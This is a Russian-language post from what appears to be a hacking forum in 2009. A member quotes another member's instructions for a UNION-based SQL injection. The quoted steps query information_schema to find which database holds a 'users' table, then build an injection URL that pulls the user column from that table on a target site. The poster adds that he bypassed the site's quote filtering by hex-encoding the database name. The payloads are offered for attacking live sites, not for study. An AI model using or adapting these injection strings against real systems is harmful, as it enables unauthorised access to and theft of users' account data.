Показать сообщение отдельно

  #10713  
Старый 10.12.2009, 22:33
R@X
Новичок
Регистрация: 05.10.2008
Сообщений: 8
С нами: 9262575

Репутация: 0
По умолчанию

Цитата:
Сообщение от Pashkela  
даже интересно стало, кто тебе помог из парней - DeluxeS или 547? Т.е. на чьем примере из этих двух гениев получения имени БД ты достиг нужного результата?
по этому примеру смотрел:

Цитата:
Сообщение от Pashkela  
DeluxeS:

не неси бред, такой хрени я не мог писать:

select+table_schema+from+information_schema.tables +where+table_name='users'--

и вот то, что выведет, и подставлять к users через точку, например вывело amx, значит итоговый правильный запрос такой:

http://site.php/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,user,14, 15,16,17,18,19,20,21,22,23,24,25+from+amx.users--

где amx - имя БД, где хранится таблица users

ЗЫЖ Вот уродец, ниже еще один
тока кавычки фильтрует базу пришлось в hex писать.

Еще раз спасибо всем
 
Ответить с цитированием